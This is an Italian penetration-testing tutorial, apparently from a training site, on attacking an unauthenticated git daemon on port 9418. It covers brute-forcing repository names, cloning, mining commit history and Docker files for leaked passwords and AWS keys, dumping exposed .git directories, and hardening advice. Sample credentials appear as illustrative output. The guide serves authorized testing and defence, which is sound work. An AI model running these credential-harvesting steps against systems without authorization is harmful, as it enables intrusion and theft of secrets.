Porta 9418 Git Daemon: Pentest, Clone Repository e Secret Extraction

Porta 9418 git daemon senza autenticazione: clone repository, estrazione credenziali dalla history dei commit, truffleHog, gitleaks, .git esposto via web e lateral movement da codice sorgente.
- Pubblicato il 2026-04-18
- Tempo di lettura: 5 min
Git è il sistema di version control che alimenta praticamente ogni progetto software del pianeta. Lo usi ogni giorno con GitHub, GitLab o Bitbucket — ma dietro le interfacce web, Git parla un protocollo nativo sulla porta 9418 TCP. È il git daemon: un servizio leggero che permette di clonare repository via git:// senza HTTPS, senza SSH, senza autenticazione. Veloce, efficiente e completamente aperto. Nel 2026, trovare un git daemon sulla 9418 durante un penetration test è meno frequente rispetto a un GitLab web (porta 80/443) o un repository SVN, ma quando lo trovi, è quasi sempre oro: repository interni con codice sorgente proprietario, e nella history dei commit — dove gli sviluppatori pensano che nessuno guarderà — ci sono credenziali, chiavi API, token e segreti rimossi ma mai cancellati davvero.
Perché le credenziali restano nella history? Perché Git non dimentica. Quando uno sviluppatore committa un file .env con la password del database, si accorge dell’errore, lo rimuove nel commit successivo e pensa di aver risolto. Ma il commit originale — con la password — è ancora lì. Per sempre. Basta guardare la history.
Come Funziona il Git Daemon #
Client (attacker) Server con git-daemon (:9418)
┌──────────────┐ ┌──────────────────────────┐
│ git clone │── git:// ────────►│ git-daemon │
│ git://target │ │ ├── /opt/repos/webapp │
│ /webapp.git │◄── pack data ────│ ├── /opt/repos/api │
│ │ │ ├── /opt/repos/infra │
│ (riceve repo │ │ └── /opt/repos/scripts │
│ completo) │ │ │
└──────────────┘ └──────────────────────────┘Il protocollo git:// sulla 9418 è di sola lettura (per default) e non ha alcun meccanismo di autenticazione nativo. Se il git daemon è in esecuzione e il repository ha il file git-daemon-export-ok, chiunque può clonarlo.
1. Enumerazione #
Nmap #
nmap -sV -p 9418 10.10.10.40PORT STATE SERVICE VERSION
9418/tcp open git Git daemonTest connessione #
# Prova a listare i repository disponibili
git ls-remote git://10.10.10.40/fatal: remote error: access denied or repository not exportedQuesto errore è normale — il git daemon non lista i repository. Devi conoscere o indovinare i nomi.
Enumerazione nomi repository #
# Nomi comuni di repository
for repo in webapp api backend frontend infra scripts deploy config tools utils mobile ios android; do
git ls-remote "git://10.10.10.40/$repo.git" 2>/dev/null && echo "FOUND: $repo"
git ls-remote "git://10.10.10.40/$repo" 2>/dev/null && echo "FOUND: $repo"
done# Con wordlist più ampia
while read repo; do
timeout 3 git ls-remote "git://10.10.10.40/$repo.git" 2>/dev/null | head -1 && echo "FOUND: $repo"
done < /usr/share/wordlists/dirb/common.txt# Se conosci il nome dell'azienda (es: "corp")
for repo in corp corp-webapp corp-api corp-infra corp-deploy corp-mobile; do
git ls-remote "git://10.10.10.40/$repo.git" 2>/dev/null && echo "FOUND: $repo"
doneInformazioni dal ls-remote #
git ls-remote git://10.10.10.40/webapp.gitabc123def456 HEAD
abc123def456 refs/heads/main
def789ghi012 refs/heads/develop
345678abcdef refs/heads/feature/payment-gateway
789012345678 refs/tags/v2.1.0Branch develop e feature/payment-gateway → codice in sviluppo attivo, probabilmente meno pulito e con più credenziali hardcoded.
2. Clone del Repository #
# Clone completo (tutta la history)
git clone git://10.10.10.40/webapp.git /tmp/webapp
cd /tmp/webappHai l’intero codice sorgente con tutta la storia dei commit. Ora cerchiamo le cose interessanti.
3. Extraction — Credenziali e Segreti #
Ricerca nel codice corrente #
# Credenziali hardcoded
grep -riE "password|passwd|secret|token|api_key|apikey|private_key" --include="*.py" --include="*.java" --include="*.js" --include="*.php" --include="*.rb" --include="*.go" --include="*.yml" --include="*.yaml" --include="*.xml" --include="*.json" --include="*.properties" --include="*.env" --include="*.conf" .# File sensibili
find . -name ".env" -o -name ".env.production" -o -name ".env.local" \
-o -name "credentials.json" -o -name "service-account.json" \
-o -name "id_rsa" -o -name "*.pem" -o -name "*.key" \
-o -name "docker-compose.yml" -o -name "Dockerfile" \
-o -name "wp-config.php" -o -name "settings.py" \
-o -name "database.yml" -o -name "application.properties" 2>/dev/null# Connection string database
grep -riE "jdbc:|mongodb://|redis://|amqp://|mysql://|postgresql://" .# AWS credentials
grep -riE "AKIA[A-Z0-9]{16}|aws_secret_access_key|AWS_SECRET" .La storia dei commit — dove si nascondono i veri segreti #
# Commit che menzionano "remove" + "password/secret/credential"
git log --all --oneline | grep -iE "remov|delet|clean|fix.*cred|fix.*secret|fix.*password|fix.*key"a1b2c3d Remove database credentials from config
d4e5f6g Delete .env file — should not be in repo
h7i8j9k Fix: removed API keys from source
l0m1n2o Clean up hardcoded secretsOgni commit “Remove credentials” contiene le credenziali nel diff del commit precedente.
# Guarda cosa è stato rimosso
git show a1b2c3d- DB_HOST=db-prod.corp.internal
- DB_USER=webapp
- DB_PASSWORD=W3bApp_DB_2025!
- DB_NAME=production
+ # Database config moved to environment variables
La password W3bApp_DB_2025! era nel commit precedente ed è ancora accessibile.
# Diff completo di tutta la history per credenziali aggiunte e poi rimosse
git log -p --all -S "password" -- "*.env" "*.yml" "*.properties" "*.json" "*.py" "*.java"Tool automatici per secret scanning #
# truffleHog — cerca credenziali ad alta entropia nella history
trufflehog git file:///tmp/webappFound verified result:
Detector Type: AWS
Raw result: AKIAIOSFODNN7EXAMPLE
File: deploy/config.yml
Commit: abc123# git-secrets
git secrets --scan-history
# gitleaks
gitleaks detect --source /tmp/webapp --verbose# Grep manuale sulla history completa
git log -p --all | grep -iE "password|secret|token|api_key|private_key|BEGIN RSA|BEGIN OPENSSH|jdbc:" | head -50Chiavi SSH nella history #
git log -p --all -- "*id_rsa*" "*id_ed25519*" "*.pem"Se trovi una chiave privata SSH → testa su SSH verso i server menzionati nel codice.
4. Analisi del Codice — Vulnerabilità Applicative #
Con il codice sorgente hai la mappa completa dell’applicazione:
# Endpoint API (per scoprire funzionalità nascoste)
grep -riE "@(Get|Post|Put|Delete)Mapping|@RequestMapping|app\.(get|post|put|delete)\(" --include="*.java" --include="*.py" --include="*.js" .
# SQL query (per trovare SQL injection)
grep -riE "SELECT.*FROM|INSERT.*INTO|UPDATE.*SET|DELETE.*FROM" --include="*.java" --include="*.py" --include="*.php" .
# Comandi di sistema (per command injection)
grep -riE "Runtime\.exec|ProcessBuilder|os\.system|subprocess|exec\(|shell_exec|system\(" .
# Input non validato (per XSS, injection)
grep -riE "request\.getParameter|request\.form|req\.body|req\.query|\$_GET|\$_POST" .Usa queste informazioni per attaccare l’applicazione web con precisione chirurgica — sai esattamente dove sono le vulnerabilità.
5. Dockerfile e Infrastruttura #
# Dockerfile — rivela base image, comandi di build, variabili
cat DockerfileFROM python:3.11
ENV DB_PASSWORD=W3bApp_DB_2025!
RUN pip install -r requirements.txt
COPY . /app
CMD ["gunicorn", "app:create_app()"]ENV DB_PASSWORD nel Dockerfile → credenziale nel layer dell’immagine Docker, anche se rimossa dopo.
# docker-compose.yml
cat docker-compose.ymlservices:
db:
image: postgres:15
environment:
POSTGRES_PASSWORD: DB_Pr0d_2025!
ports:
- "5432:5432"
redis:
image: redis:7
ports:
- "6379:6379"
app:
build: .
environment:
SECRET_KEY: django-insecure-abc123def456
AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEYCredenziali PostgreSQL, Redis non protetto, Django SECRET_KEY e AWS credentials — tutto in un singolo file.
6. .git Esposto via Web (Bonus) #
Se non trovi la porta 9418 ma il sito web ha la directory .git accessibile:
# Test
curl -s http://10.10.10.40/.git/HEADref: refs/heads/mainSe risponde → la directory .git è esposta via HTTP.
# Ricostruisci il repository completo
git-dumper http://10.10.10.40/.git /tmp/webapp-recovered
# Alternativa
python3 gittools.py dumper http://10.10.10.40/.git /tmp/outFunziona identicamente al clone via porta 9418 — stesse tecniche di extraction.
7. Detection & Hardening #
- Non esporre git daemon su Internet — usa Git over SSH o HTTPS con autenticazione
- Se necessario git daemon: limita l’accesso con firewall, solo IP autorizzati
- Pre-commit hooks — blocca commit che contengono credenziali (
git-secrets,pre-commit) .gitignorerigoroso —.env,*.key,*.pem,credentials.*mai nel repository- Rotazione credenziali — se una credenziale è finita nella history, cambiala immediatamente
git filter-brancho BFG Repo Cleaner — per rimuovere credenziali dalla history (ma rotazione comunque)- Blocca
.gitnel web server:location ~ /\.git { deny all; }in Nginx - Secret scanning automatico nel CI/CD (GitHub Secret Scanning, GitLab Secret Detection)
8. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 9418 target |
| ls-remote | git ls-remote git://target/repo.git |
| Clone | git clone git://target/repo.git |
| Enum repos | Bruteforce nomi con git ls-remote git://target/NAME.git |
| Grep creds | grep -riE "password|secret|token|api_key" . |
| Find files | find . -name ".env" -o -name "*.pem" -o -name "id_rsa" |
| History creds | git log --all --oneline | grep -i "remov.*cred" |
| Show commit | git show COMMIT_HASH |
| Diff history | git log -p --all -S "password" |
| truffleHog | trufflehog git file:///path/repo |
| gitleaks | gitleaks detect --source /path/repo |
| .git web | curl http://target/.git/HEAD → git-dumper |
| AWS keys | grep -riE "AKIA[A-Z0-9]{16}" . |
Riferimento: Git Protocol documentation, OWASP Source Code Review, HackTricks Git. Uso esclusivo in ambienti autorizzati.
Il tuo codice sorgente è accessibile dalla rete? Le credenziali sono nella history dei commit? Verifica con HackIta — o impara a trovare questi segreti da solo con la formazione pratica 1:1.







